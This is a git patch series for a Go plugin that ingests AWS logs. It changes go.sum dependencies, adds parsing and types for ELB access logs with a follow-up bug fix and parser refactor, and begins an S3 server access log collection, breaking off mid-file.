h1:jD/2GMKKE6OqX8qTjhADU1e6DShO+gavG9e0Q693nKo= github.com/jmespath/go-jmespath v0.4.0 h1:BEgLn5cpjn8UN1mAw4NjwDrS35OdebyEtFe+9YPoQUg= github.com/jmespath/go-jmespath v0.4.0/go.mod h1:T8mJZnbsbmF+m6zOOFylbeCJqk5+pHWvzYPziyZiYoo= github.com/jmespath/go-jmespath/internal/testify v1.5.1 h1:shLQSRRSCCPj3f2gpwzGwWFoC7ycTf1rcQZHOlsJ6N8= github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U= -github.com/karrick/gows v0.3.0 h1:/FGSuBiJMUqNOJPsAdLvHFg7RnkFoWBS8USpdco5ONQ= -github.com/karrick/gows v0.3.0/go.mod h1:kdZ/jfdo8yqKYn+BMjBkhP+/oRKUABR1abaomzRi/n8= +github.com/jtolds/gls v4.20.0+incompatible h1:xdiiI2gbIgH/gLH7ADydsJ1uDOEzR8yvV7C0MuV77Wo= +github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= -github.com/leodido/go-urn v1.2.4 h1:XlAE/cm/ms7TE/VMVoduSpNBoyc2dOxHs5MZSwAN63Q= -github.com/leodido/go-urn v1.2.4/go.mod h1:7ZrI8mTSeBSHl/UaRyKQW1qZeMgak41ANeCNaVckg+4= github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8= github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4= github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= @@ -231,12 +195,16 @@ github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJ github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/satyrius/gonx v1.4.0 h1:F3uxif5Yx6FBzdQAh79bHQK6CTJugOcN0w0Z8azQuQg= +github.com/satyrius/gonx v1.4.0/go.mod h1:+r8KNe5d2tjkZU+DfhERo0G6KxkGih+1qYF6tqLHwvk= github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3 h1:n661drycOFuPLCN3Uc8sB6B/s6Z4t2xvBgU1htSHuq8= github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3/go.mod h1:A0bzQcvG0E7Rwjx0REVgAGH58e96+X0MeOfepqsbeW4= -github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02 h1:v9ezJDHA1XGxViAUSIoO/Id7Fl63u6d0YmsAm+/p2hs= -github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02/go.mod h1:RF16/A3L0xSa0oSERcnhd8Pu3IXSDZSK2gmGIMsttFE= github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI= github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA= +github.com/smarty/assertions v1.15.0 h1:cR//PqUBUiQRakZWqBiFFQ9wb8emQGDb0HeGdqGByCY= +github.com/smarty/assertions v1.15.0/go.mod h1:yABtdzeQs6l1brC900WlRNwj6ZR55d7B+E8C6HtKdec= +github.com/smartystreets/goconvey v1.8.1 h1:qGjIddxOk4grTu9JPOU31tVfq3cNdBlNa5sSznIX1xY= +github.com/smartystreets/goconvey v1.8.1/go.mod h1:+/u4qLyY6x1jReYOp7GOM2FSt8aP9CzCZL03bI28W60= github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I= github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= @@ -244,14 +212,10 @@ github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= -github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= -github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= -github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.2/go.mod h1:R6va5+xMeoiuVRoj+gSkQ7d3FALtqAAGI1FQKckRals= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= -github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/tklauser/go-sysconf v0.3.9 h1:JeUVdAOWhhxVcU6Eqr/ATFHgXk/mmiItdKeJPev3vTo= @@ -264,8 +228,6 @@ github.com/turbot/go-kit v0.10.0-rc.0 h1:kd+jp2ibbIV33Hc8SsMAN410Dl9Pz6SJ40axbKU github.com/turbot/go-kit v0.10.0-rc.0/go.mod h1:fFQqR59I5z5JeeBLfK1PjSifn4Oprs3NiQx0CxeSJxs= github.com/turbot/steampipe-plugin-code v0.7.0 h1:SROYIo/TI/Q/YNfXK+sAIS71umypUFm1Uz851TmoJkM= github.com/turbot/steampipe-plugin-code v0.7.0/go.mod h1:GvdjncWum4sZNmR0iM03SKkIzl7aZKAFtIsyAR+z4YI= -github.com/turbot/terraform-components v0.0.0-20231108031935-358f803c1a8b h1:Rl3YjN+sveHb51BlV3I48wsxsdBIhcS33CnZTM+lmLI= -github.com/turbot/terraform-components v0.0.0-20231108031935-358f803c1a8b/go.mod h1:5hzpfalEjfcJWp9yq75/EZoEu2Mzm34eJAPm3HOW2tw= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= github.com/yusufpapurcu/wmi v1.2.2 h1:KBNDSne4vP5mbSWnJbO+51IMOXJB67QiYCSBrubbPRg= github.com/yusufpapurcu/wmi v1.2.2/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= @@ -323,7 +285,6 @@ golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190626221950-04f50cda93cb/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -344,8 +305,6 @@ golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= -golang.org/x/term v0.22.0 h1:BbsgPEJULsl2fV/AT3v15Mjva5yXKQDyKf+TbDz7QJk= -golang.org/x/term v0.22.0/go.mod h1:F3qCibpT5AMpCRfhfT53vVJwhLtIVHhB9XDjfFvnMI4= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= @@ -399,7 +358,6 @@ google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlba google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg= google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= From 021f785d9725bded30a8657e29d74bda255c5244 Mon Sep 17 00:00:00 2001 From: Graza Date: Mon, 5 Aug 2024 09:57:55 +0100 Subject: [PATCH 042/180] feat: elb access logs --- aws/plugin.go | 6 +- aws_collection/elb_access_log_collection.go | 109 +++++++++++++------- aws_source/elb_access_log_mapper.go | 23 +++-- aws_types/aws_elb_access_log.go | 17 +-- 4 files changed, 100 insertions(+), 55 deletions(-) diff --git a/aws/plugin.go b/aws/plugin.go index 09f80aca..0e71d58d 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -22,7 +22,11 @@ func NewPlugin() (plugin.TailpipePlugin, error) { // register the collections that we provide resources := &plugin.ResourceFunctions{ - Collections: []func() collection.Collection{aws_collection.NewCloudTrailLogCollection, aws_collection.NewVPCFlowLogLogCollection}, + Collections: []func() collection.Collection{ + aws_collection.NewCloudTrailLogCollection, + aws_collection.NewVPCFlowLogLogCollection, + aws_collection.NewElbAccessLogCollection, + }, } if err := p.RegisterResources(resources); err != nil { diff --git a/aws_collection/elb_access_log_collection.go b/aws_collection/elb_access_log_collection.go index 5a1fa3b0..1d7a33c5 100644 --- a/aws_collection/elb_access_log_collection.go +++ b/aws_collection/elb_access_log_collection.go @@ -2,14 +2,19 @@ package aws_collection import ( "fmt" + "strconv" + "strings" + "time" + "github.com/rs/xid" + "github.com/turbot/tailpipe-plugin-aws/aws_source" "github.com/turbot/tailpipe-plugin-aws/aws_types" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/collection" "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/hcl" "github.com/turbot/tailpipe-plugin-sdk/helpers" - "strconv" - "time" + "github.com/turbot/tailpipe-plugin-sdk/row_source" ) type ElbAccessLogCollection struct { @@ -32,6 +37,13 @@ func (c *ElbAccessLogCollection) GetConfigSchema() hcl.Config { return &ElbAccessLogCollectionConfig{} } +func (c *ElbAccessLogCollection) GetSourceOptions() []row_source.RowSourceOption { + return []row_source.RowSourceOption{ + artifact_source.WithRowPerLine(), + artifact_source.WithMapper(aws_source.NewElbAccessLogMapper()), + } +} + func (c *ElbAccessLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { // short-circuit for unexpected row type rawRecord, ok := row.(map[string]string) @@ -59,26 +71,22 @@ func (c *ElbAccessLogCollection) EnrichRow(row any, sourceEnrichmentFields *enri record.Timestamp = ts case "elb": record.Elb = value - case "client_ip": - record.ClientIP = value - record.TpSourceIP = &value - record.TpIps = append(record.TpIps, value) - case "client_port": - cp, err := strconv.Atoi(value) - if err != nil { - return nil, fmt.Errorf("error parsing client_port: %w", err) + case "client": + if value != "-" && strings.Contains(value, ":") { + ip := strings.Split(value, ":")[0] + record.ClientIP = ip + record.TpSourceIP = &ip + record.TpIps = append(record.TpIps, ip) + record.ClientPort, _ = strconv.Atoi(strings.Split(value, ":")[1]) } - record.ClientPort = cp - case "target_ip": - record.TargetIP = value - record.TpDestinationIP = &value - record.TpIps = append(record.TpIps, value) - case "target_port": - tp, err := strconv.Atoi(value) - if err != nil { - return nil, fmt.Errorf("error parsing target_port: %w", err) + case "target": + if value != "-" && strings.Contains(value, ":") { + ip := strings.Split(value, ":")[0] + record.TargetIP = &ip + record.TpDestinationIP = &ip + record.TpIps = append(record.TpIps, ip) + record.TargetPort, _ = strconv.Atoi(strings.Split(value, ":")[1]) } - record.TargetPort = tp case "request_processing_time": rpt, err := strconv.ParseFloat(value, 64) if err != nil { @@ -98,29 +106,37 @@ func (c *ElbAccessLogCollection) EnrichRow(row any, sourceEnrichmentFields *enri } record.ResponseProcessingTime = rpt case "elb_status_code": - esc, err := strconv.Atoi(value) - if err != nil { - return nil, fmt.Errorf("error parsing elb_status_code: %w", err) + if value != "-" { + esc, err := strconv.Atoi(value) + if err != nil { + return nil, fmt.Errorf("error parsing elb_status_code: %w", err) + } + record.ElbStatusCode = &esc } - record.ElbStatusCode = esc case "target_status_code": - tsc, err := strconv.Atoi(value) - if err != nil { - return nil, fmt.Errorf("error parsing target_status_code: %w", err) + if value != "-" { + tsc, err := strconv.Atoi(value) + if err != nil { + return nil, fmt.Errorf("error parsing target_status_code: %w", err) + } + record.TargetStatusCode = &tsc } - record.TargetStatusCode = tsc case "received_bytes": - rb, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return nil, fmt.Errorf("error parsing received_bytes: %w", err) + if value != "-" { + rb, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return nil, fmt.Errorf("error parsing received_bytes: %w", err) + } + record.ReceivedBytes = &rb } - record.ReceivedBytes = rb case "sent_bytes": - sb, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return nil, fmt.Errorf("error parsing sent_bytes: %w", err) + if value != "-" { + sb, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return nil, fmt.Errorf("error parsing sent_bytes: %w", err) + } + record.SentBytes = &sb } - record.SentBytes = sb case "request": record.Request = value case "user_agent": @@ -139,11 +155,13 @@ func (c *ElbAccessLogCollection) EnrichRow(row any, sourceEnrichmentFields *enri case "chosen_cert_arn": record.ChosenCertArn = value case "matched_rule_priority": - mrp, err := strconv.Atoi(value) - if err != nil { - return nil, fmt.Errorf("error parsing matched_rule_priority: %w", err) + if value == "-" { + mrp, err := strconv.Atoi(value) + if err != nil { + return nil, fmt.Errorf("error parsing matched_rule_priority: %w", err) + } + record.MatchedRulePriority = mrp } - record.MatchedRulePriority = mrp case "request_creation_time": rct, err := time.Parse(time.RFC3339, value) if err != nil { @@ -156,7 +174,18 @@ func (c *ElbAccessLogCollection) EnrichRow(row any, sourceEnrichmentFields *enri record.RedirectURL = &value case "error_reason": record.ErrorReason = &value + case "target_list": + record.TargetList = &value + case "target_status_list": + record.TargetStatusList = &value + case "classification": + record.Classification = &value + case "classification_reason": + record.ClassificationReason = &value + case "conn_trace_id": + record.ConnTraceID = value } + } // Record standardization diff --git a/aws_source/elb_access_log_mapper.go b/aws_source/elb_access_log_mapper.go index 1a03e72c..ff394493 100644 --- a/aws_source/elb_access_log_mapper.go +++ b/aws_source/elb_access_log_mapper.go @@ -8,21 +8,24 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/types" ) -const elbLogFormat = `$type $timestamp $elb $client_ip:$client_port $target_ip:$target_port $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn $trace_id $domain_name $chosen_cert_arn $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason"` +const elbLogFormat = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn $trace_id $domain_name $chosen_cert_arn $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" $error_reason "$target_list" "$target_status_list" "$classification" "$classification_reason" $conn_trace_id` +const elbLogFormatNoConnTrace = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn $trace_id $domain_name $chosen_cert_arn $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" $error_reason "$target_list" "$target_status_list" "$classification" "$classification_reason"` -type ELBAccessLogMapper struct { +type ElbAccessLogMapper struct { } -func NewELBAccessLogMapper() *ELBAccessLogMapper { - return &ELBAccessLogMapper{} +func NewElbAccessLogMapper() *ElbAccessLogMapper { + return &ElbAccessLogMapper{} } -func (c *ELBAccessLogMapper) Identifier() string { +func (c *ElbAccessLogMapper) Identifier() string { return "elb_access_log_mapper" } -func (c *ELBAccessLogMapper) Map(ctx context.Context, a *types.RowData) ([]*types.RowData, error) { +func (c *ElbAccessLogMapper) Map(ctx context.Context, a *types.RowData) ([]*types.RowData, error) { var out []*types.RowData + var parsed *gonx.Entry + var err error // validate input type is string input, ok := a.Data.(string) @@ -33,9 +36,13 @@ func (c *ELBAccessLogMapper) Map(ctx context.Context, a *types.RowData) ([]*type // parse log line parser := gonx.NewParser(elbLogFormat) - parsed, err := parser.ParseString(input) + parser2 := gonx.NewParser(elbLogFormatNoConnTrace) + parsed, err = parser.ParseString(input) if err != nil { - return nil, fmt.Errorf("error parsing log line: %w", err) + parsed, err = parser2.ParseString(input) + if err != nil { + return nil, fmt.Errorf("error parsing log line: %w", err) + } } fields := make(map[string]string) diff --git a/aws_types/aws_elb_access_log.go b/aws_types/aws_elb_access_log.go index 91dbf253..54a0b1fa 100644 --- a/aws_types/aws_elb_access_log.go +++ b/aws_types/aws_elb_access_log.go @@ -14,15 +14,15 @@ type AwsElbAccessLog struct { Elb string `json:"elb"` ClientIP string `json:"client_ip"` ClientPort int `json:"client_port"` - TargetIP string `json:"target_ip"` - TargetPort int `json:"target_port"` + TargetIP *string `json:"target_ip,omitempty"` + TargetPort int `json:"target_port,omitempty"` RequestProcessingTime float64 `json:"request_processing_time"` TargetProcessingTime float64 `json:"target_processing_time"` ResponseProcessingTime float64 `json:"response_processing_time"` - ElbStatusCode int `json:"elb_status_code"` - TargetStatusCode int `json:"target_status_code"` - ReceivedBytes int64 `json:"received_bytes"` - SentBytes int64 `json:"sent_bytes"` + ElbStatusCode *int `json:"elb_status_code,omitempty"` + TargetStatusCode *int `json:"target_status_code,omitempty"` + ReceivedBytes *int64 `json:"received_bytes"` + SentBytes *int64 `json:"sent_bytes"` Request string `json:"request"` UserAgent string `json:"user_agent"` SslCipher string `json:"ssl_cipher"` @@ -36,4 +36,9 @@ type AwsElbAccessLog struct { ActionsExecuted string `json:"actions_executed"` RedirectURL *string `json:"redirect_url,omitempty"` ErrorReason *string `json:"error_reason,omitempty"` + TargetList *string `json:"target_list,omitempty"` + TargetStatusList *string `json:"target_status_list,omitempty"` + Classification *string `json:"classification,omitempty"` + ClassificationReason *string `json:"classification_reason,omitempty"` + ConnTraceID string `json:"conn_trace_id"` } From fe2d58f76fc53571f7d2bd971119bcd89f746833 Mon Sep 17 00:00:00 2001 From: Graza Date: Mon, 5 Aug 2024 10:06:52 +0100 Subject: [PATCH 043/180] fix: fixed incorrect check for value on matched_rule_priority --- aws_collection/elb_access_log_collection.go | 2 +- aws_source/elb_access_log_mapper.go | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/aws_collection/elb_access_log_collection.go b/aws_collection/elb_access_log_collection.go index 1d7a33c5..03540ecc 100644 --- a/aws_collection/elb_access_log_collection.go +++ b/aws_collection/elb_access_log_collection.go @@ -155,7 +155,7 @@ func (c *ElbAccessLogCollection) EnrichRow(row any, sourceEnrichmentFields *enri case "chosen_cert_arn": record.ChosenCertArn = value case "matched_rule_priority": - if value == "-" { + if value != "-" { mrp, err := strconv.Atoi(value) if err != nil { return nil, fmt.Errorf("error parsing matched_rule_priority: %w", err) diff --git a/aws_source/elb_access_log_mapper.go b/aws_source/elb_access_log_mapper.go index ff394493..d014d263 100644 --- a/aws_source/elb_access_log_mapper.go +++ b/aws_source/elb_access_log_mapper.go @@ -8,8 +8,8 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/types" ) -const elbLogFormat = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn $trace_id $domain_name $chosen_cert_arn $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" $error_reason "$target_list" "$target_status_list" "$classification" "$classification_reason" $conn_trace_id` -const elbLogFormatNoConnTrace = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn $trace_id $domain_name $chosen_cert_arn $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" $error_reason "$target_list" "$target_status_list" "$classification" "$classification_reason"` +const elbLogFormat = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason" $conn_trace_id` +const elbLogFormatNoConnTrace = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason"` type ElbAccessLogMapper struct { } From f9d140cd9a9df58f8eb971bb7c10234f9238de1a Mon Sep 17 00:00:00 2001 From: Graza Date: Mon, 5 Aug 2024 10:52:27 +0100 Subject: [PATCH 044/180] refactor: reduced number of parsers we instantiate --- aws_source/elb_access_log_mapper.go | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/aws_source/elb_access_log_mapper.go b/aws_source/elb_access_log_mapper.go index d014d263..d4e598f0 100644 --- a/aws_source/elb_access_log_mapper.go +++ b/aws_source/elb_access_log_mapper.go @@ -12,10 +12,15 @@ const elbLogFormat = `$type $timestamp $elb $client $target $request_processing_ const elbLogFormatNoConnTrace = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason"` type ElbAccessLogMapper struct { + fullParser *gonx.Parser + noConnParser *gonx.Parser } func NewElbAccessLogMapper() *ElbAccessLogMapper { - return &ElbAccessLogMapper{} + return &ElbAccessLogMapper{ + fullParser: gonx.NewParser(elbLogFormat), + noConnParser: gonx.NewParser(elbLogFormatNoConnTrace), + } } func (c *ElbAccessLogMapper) Identifier() string { @@ -35,11 +40,9 @@ func (c *ElbAccessLogMapper) Map(ctx context.Context, a *types.RowData) ([]*type inputMetadata := a.Metadata // parse log line - parser := gonx.NewParser(elbLogFormat) - parser2 := gonx.NewParser(elbLogFormatNoConnTrace) - parsed, err = parser.ParseString(input) + parsed, err = c.fullParser.ParseString(input) if err != nil { - parsed, err = parser2.ParseString(input) + parsed, err = c.noConnParser.ParseString(input) if err != nil { return nil, fmt.Errorf("error parsing log line: %w", err) } From c893f70f111ec8dc4f831bdb7ec5dce997dab8b6 Mon Sep 17 00:00:00 2001 From: Graza Date: Mon, 5 Aug 2024 16:12:00 +0100 Subject: [PATCH 045/180] feat: s3 server access logs --- aws/plugin.go | 1 + aws_collection/elb_access_log_collection.go | 1 + .../s3_server_access_log_collection.go | 201 ++++++++++++++++++ .../s3_server_access_log_collection_config.go | 9 + aws_source/s3_server_access_log_mapper.go | 57 +++++ aws_types/aws_s3_server_access_log.go | 38 ++++ 6 files changed, 307 insertions(+) create mode 100644 aws_collection/s3_server_access_log_collection.go create mode 100644 aws_collection/s3_server_access_log_collection_config.go create mode 100644 aws_source/s3_server_access_log_mapper.go create mode 100644 aws_types/aws_s3_server_access_log.go diff --git a/aws/plugin.go b/aws/plugin.go index 0e71d58d..3ee48d78 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -26,6 +26,7 @@ func NewPlugin() (plugin.TailpipePlugin, error) { aws_collection.NewCloudTrailLogCollection, aws_collection.NewVPCFlowLogLogCollection, aws_collection.NewElbAccessLogCollection, + aws_collection.NewS3ServerAccessLogCollection, }, } diff --git a/aws_collection/elb_access_log_collection.go b/aws_collection/elb_access_log_collection.go index 03540ecc..017f2333 100644 --- a/aws_collection/elb_access_log_collection.go +++ b/aws_collection/elb_access_log_collection.go @@ -69,6 +69,7 @@ func (c *ElbAccessLogCollection) EnrichRow(row any, sourceEnrichmentFields *enri return nil, fmt.Errorf("error parsing timestamp: %w", err) } record.Timestamp = ts + record.TpTimestamp = helpers.UnixMillis(ts.UnixNano() / int64(time.Millisecond)) case "elb": record.Elb = value case "client": diff --git a/aws_collection/s3_server_access_log_collection.go b/aws_collection/s3_server_access_log_collection.go new file mode 100644 index 00000000..ae8ae7c8 --- /dev/null +++ b/aws_collection/s3_server_access_log_collection.go @@ -0,0 +1,201 @@ +package aws_collection + +import ( + "fmt" + "github.com/rs/xid" + "github.com/turbot/tailpipe-plugin-aws/aws_source" + "github.com/turbot/tailpipe-plugin-aws/aws_types" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/collection" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/hcl" + "github.com/turbot/tailpipe-plugin-sdk/helpers" + "github.com/turbot/tailpipe-plugin-sdk/row_source" + "strconv" + "time" +) + +type S3ServerAccessLogCollection struct { + collection.CollectionBase[*S3ServerAccessLogCollectionConfig] +} + +func NewS3ServerAccessLogCollection() collection.Collection { + return &S3ServerAccessLogCollection{} +} + +func (c *S3ServerAccessLogCollection) Identifier() string { + return "aws_s3_server_access_log" +} + +func (c *S3ServerAccessLogCollection) GetRowSchema() any 